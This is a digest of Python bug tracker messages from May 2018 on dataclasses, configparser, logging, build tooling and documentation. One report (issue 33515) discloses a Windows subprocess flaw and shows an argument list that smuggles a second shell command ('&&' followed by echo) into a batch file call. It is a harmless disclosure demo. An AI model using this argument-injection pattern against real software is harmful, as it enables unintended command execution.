(=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 04:06:37 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526357197.24.0.682650639539.issue32769@psf.upfronthosting.co.za> ?ukasz Langa added the comment: Guido, do you really want to stress at this point for Python 3.8 that annotations do not have an intended purpose? That is clearly not true. 1. PEP 526 was created purely with types in mind and was inspired by PEP 484's lack of this functionality. 2. PEP 563 defines a future import which will become the default in a future release (currently marked as 4.0). This default stops evaluating annotations at runtime, which again was inspired by the typing use case. 3. Dataclasses in PEP 557 are designed to leverage types in annotations. A few quotes from that PEP: > A class decorator is provided which inspects a class definition for variables with type annotations as defined in PEP 526, "Syntax for Variable Annotations". > One main design goal of Data Classes is to support static type checkers. The use of PEP 526 syntax is one example of this, but so is the design of the fields() function and the @dataclass decorator. 4. PEP 560 added support for `__class_getitem__` and `__mro_entries__` in core purely for the purpose of generic types. 5. For the above reasons, PEP 563 states that non-typing usage of annotations is deprecated: https://www.python.org/dev/peps/pep-0563/#non-typing-usage-of-annotations ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 00:20:40 2018 From: report at bugs.python.org (Daniel Lindeman) Date: Tue, 15 May 2018 04:20:40 +0000 Subject: [issue33474] Support immutability per-field in dataclasses In-Reply-To: <1526160537.62.0.682650639539.issue33474@psf.upfronthosting.co.za> Message-ID: <1526358040.67.0.682650639539.issue33474@psf.upfronthosting.co.za> Daniel Lindeman added the comment: A possible use case would be a field that represents an auto-incrementing database ID. Since the field is auto-incrementing in the database, it would be desirable to keep this field frozen, and others mutable once an instance of a data class is created. This is also a feature of data classes in other languages, for example Kotlin: https://kotlinlang.org/docs/reference/data-classes.html . The main difference here being that we don't have val and var, and thus mutability and immutability are harder to represent. Hashing could be implemented such that frozen fields are allowed to be part of the hash, but unfrozen fields would remain only part of the hash when unsafe_hash is set. I believe equality follows from hashing, so the same rules should apply. The conflict between setting the class to frozen, and a field to not frozen could be solved by raising an exception. Upon investigation, attrs does not support this behavior. I can try this feature with attrs, but their implementation may differ enough to make it infeasible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 00:45:31 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 04:45:31 +0000 Subject: [issue33504] configparser should use dict instead of OrderedDict in 3.7+ In-Reply-To: <1526321898.65.0.682650639539.issue33504@psf.upfronthosting.co.za> Message-ID: <1526359531.57.0.682650639539.issue33504@psf.upfronthosting.co.za> ?ukasz Langa added the comment: I am +1 to changing it to dict for Python 3.8. This use case is different from `namedtuple._asdict`. The type of the dictionary is for the purpose of internal storage of the parser. Unlike `namedtuple._asdict`, it is not exposed to the user. The purpose of changing the default to OrderedDict in the past is not documented but implying from its properties we can deduce it was to make minimal edits to .ini files stable. This property will remain unchanged with changing the type back to `dict`. The history here is this: - a `dict_type` was introduced by MvL in r52908 (issue 1371075) with the motivation to allow sorting or order preservation (December 2006); - the default `dict_type` was changed by Raymond to OrderedDict for 3.1 in 0663a1ed793c164fb11d3dd62bebc677e260891e (March 2009); as far as I can tell there was no issue for it when that change was made. I acknowledge that in https://bugs.python.org/issue32360 Raymond states that "can't just change the default argument for configparser" but I don't see why. ConfigParser doesn't return the dictionary to the user in any API and the new 3.6+ dictionary preserves order just as OrderedDict. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:26:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 05:26:08 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526361968.45.0.682650639539.issue33463@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: DeprecationWarning is for things that will be removed. This is a sign: don't use this feature, rewrite you code so that doesn't use it, otherwise it will be broken in future versions. FutureVersion is for things that work now and will work in future, but will change its behavior in future. This is a sign: be prepared that your code will be broken in a way that will lead to returning a wrong result instead of failing. It is better to use alternatives until this feature be stabilized. Both warnings are not well appropriate here. They are too loud, and there are no good alternatives to _asdict(). Most users don't care about additional methods or performance guaranties of the result, thy just need a mapping, and it is desirable if it preserves the order of named tuple fields. I think it would be better to not add a runtime warning. Instead you can add a warning in the documentation in previous versions (just to the versionchanged directive that says when _dict() started returning an OrderedDict). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:28:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 05:28:59 +0000 Subject: [issue18022] Inconsistency between quopri.decodestring() and email.quoprimime.decode() In-Reply-To: <1369059208.07.0.0770184639372.issue18022@psf.upfronthosting.co.za> Message-ID: <1526362139.73.0.682650639539.issue18022@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Many thanks David! But sorry, your table confused me. I can't read it. Could you please reformat it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:30:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 05:30:28 +0000 Subject: [issue33511] Update config.sub In-Reply-To: <1526351643.4.0.682650639539.issue33511@psf.upfronthosting.co.za> Message-ID: <1526362228.13.0.682650639539.issue33511@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- title: update.config.sub -> Update config.sub _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:40:29 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 05:40:29 +0000 Subject: [issue16865] ctypes arrays >=2GB in length causes exception In-Reply-To: <1357334898.38.0.395259266999.issue16865@psf.upfronthosting.co.za> Message-ID: <1526362829.89.0.682650639539.issue16865@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2ce72e243fbc0e4f07f1191b20be548bfa5cbe11 by Miss Islington (bot) in branch '3.7': bpo-16865: Support arrays >=2GB in ctypes. (GH-3006) https://github.com/python/cpython/commit/2ce72e243fbc0e4f07f1191b20be548bfa5cbe11 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:55:55 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 05:55:55 +0000 Subject: [issue16865] ctypes arrays >=2GB in length causes exception In-Reply-To: <1357334898.38.0.395259266999.issue16865@psf.upfronthosting.co.za> Message-ID: <1526363755.3.0.682650639539.issue16865@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 726894addc02effaa369fded3caaba94875c1f3d by Miss Islington (bot) in branch '3.6': bpo-16865: Support arrays >=2GB in ctypes. (GH-3006) https://github.com/python/cpython/commit/726894addc02effaa369fded3caaba94875c1f3d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 01:58:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 05:58:50 +0000 Subject: [issue33486] regen autotools related files In-Reply-To: <1526238483.3.0.682650639539.issue33486@psf.upfronthosting.co.za> Message-ID: <1526363930.47.0.682650639539.issue33486@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If these changes are autogenerated, I would prefer that a trusted core developer create a PR. Is it safe to bump the minimal required version of autotools to 2.69? This can prevent building Python on conservative systems. ---------- nosy: +anthonybaxter, barry, benjamin.peterson, eric.araujo, georg.brandl, gvanrossum, lemburg, ned.deily, serhiy.storchaka, tarek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 02:01:49 2018 From: report at bugs.python.org (Leonard Lausen) Date: Tue, 15 May 2018 06:01:49 +0000 Subject: [issue32485] Multiprocessing dict sharing between forked processes In-Reply-To: <1514972661.4.0.467229070634.issue32485@psf.upfronthosting.co.za> Message-ID: <1526364109.71.0.682650639539.issue32485@psf.upfronthosting.co.za> Change by Leonard Lausen : ---------- nosy: +Leonard Lausen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 02:27:06 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 15 May 2018 06:27:06 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526365626.05.0.682650639539.issue5755@psf.upfronthosting.co.za> Jeroen Demeyer added the comment: > Or just remove it I updated the PR to do that. I didn't want to propose that initially because that patch was proposed here almost 2 years ago but not accepted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 02:57:15 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Tue, 15 May 2018 06:57:15 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1526367435.63.0.682650639539.issue33435@psf.upfronthosting.co.za> Andrey Bychkov added the comment: it's patch is not actual. new diff in git pull request! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 02:59:11 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Tue, 15 May 2018 06:59:11 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 Message-ID: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> New submission from Andrey Bychkov : In some linux distributions, the information about the distribution is incorrectly determined when the linux_distribution() method is called from the platform class. Since the information file os-release becomes a certain standard, I propose first of all to check its availability and if it is in the system - parse the information from it. ---------- components: Library (Lib) messages: 316628 nosy: mrandybu priority: normal severity: normal status: open title: incorrect detection of information of some distributions python2 type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:08:05 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Tue, 15 May 2018 07:08:05 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 In-Reply-To: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> Message-ID: <1526368085.53.0.682650639539.issue33513@psf.upfronthosting.co.za> Change by Andrey Bychkov : ---------- keywords: +patch Added file: https://bugs.python.org/file47590/fix-issue-33513.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:26:46 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 07:26:46 +0000 Subject: [issue33486] regen autotools related files In-Reply-To: <1526238483.3.0.682650639539.issue33486@psf.upfronthosting.co.za> Message-ID: <1526369206.65.0.682650639539.issue33486@psf.upfronthosting.co.za> Eitan Adler added the comment: > If these changes are autogenerated, I would prefer that a trusted core developer create a PR. They are fully auto-generated (using autoupdate and autoreconf). It someone else wants to submit the PR, feel free. > Is it safe to bump the minimal required version of autotools to 2.69? This can prevent building Python on conservative systems. This should only affect rerunning autoreconf and related tools. It won't affect the use of "configure" (and therefore "make") which is checked into the repository. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:40:43 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 07:40:43 +0000 Subject: [issue33506] [logging] template for filename timestamps In-Reply-To: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> Message-ID: <1526370043.91.0.682650639539.issue33506@psf.upfronthosting.co.za> Vinay Sajip added the comment: > Are you planning to remove the predefined filename templates No. They work fine as is for most people, from what I can tell. > it still has the limitation that when a logging file is active for writing log events, that file always has the same filename (self.baseFilename) That's not a limitation particularly, it's that way by design. > So if I needed to implement logging with a filename of: foo-YYYYmmdd.log at all times Implement your own subclass and do whatever you need in there, including deletion of oldest files etc. Publish it on PyPI and see what the uptake is like. I'm not sure a donation of code in this area will be accepted, but there's no need for your bespoke handler subclass to be in the stdlib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:41:03 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 07:41:03 +0000 Subject: [issue33486] regen autotools related files In-Reply-To: <1526238483.3.0.682650639539.issue33486@psf.upfronthosting.co.za> Message-ID: <1526370063.48.0.682650639539.issue33486@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- pull_requests: +6528 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:43:36 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Tue, 15 May 2018 07:43:36 +0000 Subject: [issue33507] Improving the html rendered by cgitb.html In-Reply-To: <1526331345.66.0.682650639539.issue33507@psf.upfronthosting.co.za> Message-ID: <1526370216.9.0.682650639539.issue33507@psf.upfronthosting.co.za> Change by St?phane Blondon : ---------- keywords: +patch pull_requests: +6529 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:44:31 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 07:44:31 +0000 Subject: [issue33484] build system runs when it may merely link In-Reply-To: <1526236716.08.0.682650639539.issue33484@psf.upfronthosting.co.za> Message-ID: <1526370271.65.0.682650639539.issue33484@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- title: build system runs when it merely link -> build system runs when it may merely link _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:47:29 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 07:47:29 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526370449.85.0.682650639539.issue33510@psf.upfronthosting.co.za> Vinay Sajip added the comment: > The solution recommended in the logging cookbook does not do the same thing as I have proposed. Perhaps not, but it appears to adequately address your first point: > Many logging aggregation and indexing systems require that log data must be written in an easy-to-parse format such as JSON. > The logging cookbook solution is that the user must explicitly write JSON data into the message line of each call to the logging code. No, it just illustrates one simple way it could be done. > P.S. Here is a blog posting on why it is useful to log in pure JSON I'm already aware of situations where machine-parseable logs are valuable, thanks. There's nothing stopping you from publishing any handlers/formatters you think are generally useful on PyPI, and publicising them so that people who want to use them can do so. There's no reason for them to be in the stdlib, as PyPI offers a better home for more specialised functionality than the stdlib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:47:35 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Tue, 15 May 2018 07:47:35 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 In-Reply-To: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> Message-ID: <1526370455.57.0.682650639539.issue33513@psf.upfronthosting.co.za> Change by Andrey Bychkov : ---------- pull_requests: +6530 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:48:53 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 07:48:53 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526370533.79.0.682650639539.issue33510@psf.upfronthosting.co.za> Change by Vinay Sajip : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:49:09 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 07:49:09 +0000 Subject: [issue33506] [logging] template for filename timestamps In-Reply-To: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> Message-ID: <1526370549.67.0.682650639539.issue33506@psf.upfronthosting.co.za> Change by Vinay Sajip : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 03:49:31 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 07:49:31 +0000 Subject: [issue33508] [logging] allow %p code to put PID into log filename In-Reply-To: <1526331490.03.0.682650639539.issue33508@psf.upfronthosting.co.za> Message-ID: <1526370571.24.0.682650639539.issue33508@psf.upfronthosting.co.za> Change by Vinay Sajip : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 04:58:19 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 08:58:19 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 In-Reply-To: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> Message-ID: <1526374699.39.0.682650639539.issue33513@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 05:27:42 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 15 May 2018 09:27:42 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= Message-ID: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> New submission from Miro Hron?ok : According to PEP 492, async and await should be full keywords in Python 3.7. That happened in https://bugs.python.org/issue30406 There is no mention of it at all at https://docs.python.org/3.7/whatsnew/3.7.html#porting-to-python-3-7 or anywhare on that page. I consider this a blocker because it can break things: $ python3.6 -c 'async = 42' $ echo $? 0 $ python3.7 -c 'async = 42' File "", line 1 async = 42 ^ SyntaxError: invalid syntax ---------- assignee: docs at python components: Documentation messages: 316632 nosy: Jelle Zijlstra, docs at python, hroncok priority: normal severity: normal status: open title: async and await as keywords not mentioned in What?s New In Python 3.7 type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 05:42:53 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 15 May 2018 09:42:53 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= In-Reply-To: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> Message-ID: <1526377373.74.0.682650639539.issue33514@psf.upfronthosting.co.za> Miro Hron?ok added the comment: I'll prep a PR ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:23:58 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 15 May 2018 10:23:58 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526379838.12.0.682650639539.issue32216@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Mariatta, go ahead and take the lead on this one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:32:34 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 10:32:34 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= In-Reply-To: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> Message-ID: <1526380354.03.0.682650639539.issue33514@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report. The 3.7 What's New document is being completed right now at the PyCon US sprints. CCing the editors. ---------- nosy: +Elvis.Pranskevichus, ned.deily, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:35:20 2018 From: report at bugs.python.org (Eric Lebigot) Date: Tue, 15 May 2018 10:35:20 +0000 Subject: [issue33492] Updating the Evaluation order section to cover *expression in calls In-Reply-To: <1526285664.99.0.682650639539.issue33492@psf.upfronthosting.co.za> Message-ID: <1526380520.03.0.682650639539.issue33492@psf.upfronthosting.co.za> Change by Eric Lebigot : ---------- nosy: +Eric Lebigot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:35:38 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 15 May 2018 10:35:38 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= In-Reply-To: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> Message-ID: <1526380538.58.0.682650639539.issue33514@psf.upfronthosting.co.za> Change by Miro Hron?ok : ---------- keywords: +patch pull_requests: +6531 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:39:18 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 15 May 2018 10:39:18 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= In-Reply-To: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> Message-ID: <1526380758.04.0.682650639539.issue33514@psf.upfronthosting.co.za> Miro Hron?ok added the comment: Oh, didn't know that. Consider my PR as a remote sprint contribution. Hopefully nobody has already written this part. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 06:58:18 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 15 May 2018 10:58:18 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526381898.96.0.682650639539.issue33494@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I concur with Serhiy. The proposed check would cripple the intended use of cumulative weights which is provided as a way to avoid the cost of rebuilding the weights on every call. FWIW, bisect() has a long history of requiring sorted inputs and has a similar possibility of misuse, but it too would cripple its core use case if it were to have to validate that the user input was sorted. I'm open to a docs change but am dubious that that would have helped the OP on python-ideas. The docs already have a specific example showing the relationship between weights and cum_weights, as well as indicating that the purpose of cum_weights is to save the work of computing the weights accumulation. There is an additional example in the recipes section. ---------- assignee: -> rhettinger components: +Documentation -Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:01:31 2018 From: report at bugs.python.org (Abigail) Date: Tue, 15 May 2018 11:01:31 +0000 Subject: [issue33515] subprocess.Popen on a Windows batch file always acts as if shell=True Message-ID: <1526382091.26.0.682650639539.issue33515@psf.upfronthosting.co.za> New submission from Abigail : It's possible to invoke an application without interpreting any of its arguments as shell magic: >>> print(subprocess.check_output(["C:/testapplication.exe", "foo", "&&", "echo", "%PROGRAMFILES%"])) Hello world from application! 5 arguments: Argument 0: 'C:/testapplication.exe' Argument 1: 'foo' Argument 2: '&&' Argument 3: 'echo' Argument 4: '%PROGRAMFILES%' But not so for batch scripts: >>> print(subprocess.check_output(["C:/testscript.bat", "foo", "&&", "echo", "%PROGRAMFILES%"])) Hello world from script! 2 arguments: Argument 0: 'C:/testscript.bat' Argument 1: 'foo' C:\Program Files I don't know if this is a fundamental limitation of Windows' batch script processing, or of the Win32 CreateProcess API, but this looks exploitable, as it allows shell injection: the subprocess docs warn about shell injection in a big red box, and promise you'll be safe if you a list of arguments and the default shell=False. Tested on Python 2.7.15 and Python 3.6.5. ---------- components: Library (Lib), Windows messages: 316638 nosy: abigail, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: subprocess.Popen on a Windows batch file always acts as if shell=True type: security versions: Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:25:00 2018 From: report at bugs.python.org (Siddhesh Poyarekar) Date: Tue, 15 May 2018 11:25:00 +0000 Subject: [issue33015] Fix function cast warning in thread_pthread.h In-Reply-To: <1520362573.83.0.467229070634.issue33015@psf.upfronthosting.co.za> Message-ID: <1526383500.59.0.682650639539.issue33015@psf.upfronthosting.co.za> Siddhesh Poyarekar added the comment: Actually it is not; the parameter passed to Pythread_start_new_thread has a different type (void (*)(void *)) from what's accepted (and executed by) pthread_create (void *(*)(void *)). That is undefined behaviour. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:45:32 2018 From: report at bugs.python.org (Amber Brown) Date: Tue, 15 May 2018 11:45:32 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526384732.55.0.682650639539.issue33497@psf.upfronthosting.co.za> Amber Brown added the comment: This change mirrors the default in FieldStorage (which it calls). If it's not the best option, then it would need to be changed in FieldStorage too. (personally, I don't like strict because UnicodeDecodeErrors on untrusted user input kind of sucks, but also replace is kind of broken as well.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:48:12 2018 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 15 May 2018 11:48:12 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods Message-ID: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> New submission from Martijn Pieters : I notice that __trunc__, __floor__ and __ceil__ are supported methods for MagicMock, but __round__ (in the same grouping of numeric types emulation methods, see https://docs.python.org/3/reference/datamodel.html#object.__round__), is not. Please add this to the mapping too. ---------- components: Library (Lib) messages: 316641 nosy: mjpieters priority: normal severity: normal status: open title: unittest.mock: Add __round__ to supported magicmock methods type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:59:26 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 11:59:26 +0000 Subject: [issue18022] Inconsistency between quopri.decodestring() and email.quoprimime.decode() In-Reply-To: <1369059208.07.0.0770184639372.issue18022@psf.upfronthosting.co.za> Message-ID: <1526385566.11.0.682650639539.issue18022@psf.upfronthosting.co.za> R. David Murray added the comment: I should have just deleted the table, actually. The only important info in it is that per RFC '=', '=\n', and '= \n' all ought to become '='. But I don't think we should make that change, I think we should continue to turn those into ''. So I consider the (current!) bwehavior of quoprimime to be the correct behavior. I also gave the example of '= \n foo\n', to show that quopri and binascii aren't stripping trailing blanks, as Martin noted in the other issue. They fold lines if they see '=\n', but not if they see '= \n', which is wrong per the (email!) RFC. I'm not clear if it is wrong for non-email uses of quopric, I haven't tried to research that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 07:59:34 2018 From: report at bugs.python.org (Omer Katz) Date: Tue, 15 May 2018 11:59:34 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1526315458.78.0.682650639539.issue21145@psf.upfronthosting.co.za> Message-ID: Omer Katz added the comment: I believe so. Let's do it :) ??????? ??? ??, 14 ???? 2018 ?-19:30 ??? ?Carl Meyer?? :? > > Carl Meyer added the comment: > > > I don't think it makes sense to try to make cached_property itself work > implicitly with both normal attributes and slot entries - instead, > cached_property can handle the common case as simply and efficiently as > possible, and the cached_slot case can be either handled separately or else > not at all. > > So it sounds like the current approach here is good to move forward? If I > update the patch during the PyCon sprints, we could merge it? > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:01:16 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 12:01:16 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr Message-ID: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> New submission from Eric V. Smith : With the recent (and ongoing) change to string annotations, it's no longer obvious what the type of a field is (normal, ClassVar, or InitVar). I propose exposing the heretofore undocumented _field_type to the repr. Instead of writing it directly, I'm going to make it say one of: _field_type=_FIELD _field_type=_FIELD_CLASSVAR _field_type=_FIELD_INITVAR This is because it's an object reference, and would otherwise look like: _field_type= Which is all but useless. ---------- assignee: eric.smith components: Library (Lib) messages: 316644 nosy: eric.smith, ned.deily priority: release blocker severity: normal status: open title: dataclasses: Add the field type to Field repr type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:05:31 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 12:05:31 +0000 Subject: [issue33198] Build on Linux with --enable-optimizations fails In-Reply-To: <1522571938.21.0.467229070634.issue33198@psf.upfronthosting.co.za> Message-ID: <1526385931.8.0.682650639539.issue33198@psf.upfronthosting.co.za> Ned Deily added the comment: Florian, any further information on this problem? Are you still seeing it? Can you supply a backtrace? Without more information to go on, there's not much we can do to help. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:16:52 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 15 May 2018 12:16:52 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526386612.15.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: What I think Guido might mean is that some type annotations are not strictly speaking type hints. For example, `dataclasses.InitVar`, is not really a type, it is just a way to indicate how constructor should be constructed. I could see similar potential features in future (like `typing.Final` discussed recently). Even `typing.ClassVar` I would say is not a type but an access qualifier. Also for me the two terms: annotations and hints are a bit orthogonal, first is a syntax, while second is semantics. I think Guido is right that we should say something like (approximately) `annotation is a syntax to express type hints and other related metadata` or similar. The current formulation seems a bit too restrictive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 08:17:03 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 12:17:03 +0000 Subject: [issue33517] dataclasses: Add the field type to Field repr In-Reply-To: <1526385676.97.0.682650639539.issue33517@psf.upfronthosting.co.za> Message-ID: <1526386623.92.0.682650639539.issue33517@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6532 stage: -> patch review _______________________________________ Python tracker 